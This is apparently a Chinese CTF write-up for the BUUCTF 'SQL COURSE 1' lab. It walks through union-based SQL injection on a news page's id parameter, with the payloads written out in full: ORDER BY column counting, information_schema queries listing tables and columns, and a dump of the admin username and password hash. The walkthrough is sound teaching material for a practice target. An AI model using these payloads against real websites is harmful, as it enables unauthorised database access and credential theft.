BUUCTF/BUU SQL COURSE 1

题目

在这里插入图片描述

步骤

我们打开靶机地址

在这里插入图片描述

发现了标题栏有两个按钮,分别是热点及登录

登录按钮点击后是一个登陆界面,随意输入字符点击后显示提示信息"用户名或密码错误",并且抓包发现是提交的POST请求,可以对该登录界面进行暴破操作,但是因为需要猜解两个字段内容且密码内容无提示,时间需求比较久,且需要较庞大的字典

在这里插入图片描述

热点按钮显示热点列表,有三个新闻,里面只有无意义的字符串,但是地址栏显示了/content/1

在这里插入图片描述

通过抓包发现提交了GET请求,字段为id

在这里插入图片描述

对此我们可以针对热点新闻的id进行sql注入攻击

首先我们构造url,验证id的值为数值型还是字符型,我们在id处输入3-1,结果出现的新闻是2,则该参数值类型应该为数值型

在这里插入图片描述

然后我们构造order by sql语句验证该数据表中共有几列数据,当我们order by 3时,列表为空,而order by 2时,列表有数据,则证明该数据表中只有两列

在这里插入图片描述

在这里插入图片描述

然后我们构造union联合查询,查询该数据库名称,database()可以显示当前数据库名称,得到数据库名为news

http://cacf39ff-1247-4ff0-92ac-d0d2aa5e35af.node5.buuoj.cn:81/#/content/
-1 union select 1,database()

在这里插入图片描述

根据数据库名,我们可以在源数据库information_schema中查到该数据库的所有表名,当前查到一共两张表,admin和contents表。

http://cacf39ff-1247-4ff0-92ac-d0d2aa5e35af.node5.buuoj.cn:81/#/content/
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='news'

//group_concat函数为将多个结果合并为一条

在这里插入图片描述

通过判断可知contents表应为热点新闻的数据表,admin大概率为用户表,所以我们构建sql根据表名查询该表下的各字段名,成功得到字段名:id,username,password

http://cacf39ff-1247-4ff0-92ac-d0d2aa5e35af.node5.buuoj.cn:81/#/content/
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='admin'

在这里插入图片描述

由字段名可知username为用户名,password为密码,直接查询这两个字段的值

得到用户名为admin,密码为cafc647c8403b255d8822647235a8d3f

http://cacf39ff-1247-4ff0-92ac-d0d2aa5e35af.node5.buuoj.cn:81/#/content/
-1 union select 1,group_concat(username,' ',password) from admin

在这里插入图片描述

点开登录界面进行登录,得到flag

在这里插入图片描述

输入flag,闯关成功

在这里插入图片描述

  • 5
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值